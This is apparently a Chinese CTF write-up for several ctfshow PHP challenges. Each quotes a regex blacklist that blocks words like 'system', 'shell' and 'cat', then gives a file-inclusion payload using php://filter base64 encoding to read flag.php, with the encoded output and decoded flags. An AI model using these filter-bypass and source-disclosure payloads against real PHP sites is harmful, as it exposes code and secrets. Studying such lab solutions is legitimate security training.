目录
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))
这一题过滤的更多了,甚至连分号/左括号都过滤掉了,这时候可以尝试使用文件包含+php协议来做
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
结果将返回将源代码进行base64加密的字符串
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ODkyMDRlYzMtZDAzNS00M2QzLTk5ZTUtMmI2MzkyOTg3Y2JkfSI7DQo=
然后我们用在线工具进行解密
ctfshow{89204ec3-d035-43d3-99e5-2b6392987cbd}
ps:前面的几道题也可以使用文件包含做,但是没有什么必要
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))
这道题与上一道题类似,也可以使用文件包含做
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
结果将返回将源代码进行base64加密的字符串
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ZmI5ZDEwZmMtNWE5Ni00NGY5LWExY2YtYmY1NWFmY2JhYTkwfSI7DQo=
然后我们用在线工具进行解密
flag:
ctfshow{fb9d10fc-5a96-44f9-a1cf-bf55afcbaa90}
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))
跟前两题解法一样...
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
ctfshow{929704e2-7f4e-4303-b333-18e1a7e7bd6e}
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))
跟前三题解法一样...
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
ctfshow{31fa949f-590e-46d5-a292-3656fabc7563}
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))
跟前面四题解法类似,但是这里将数字过滤了,所以可以使用字符传参
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
ctfshow{6043cdb7-3e82-437f-bba3-7e3990480fec}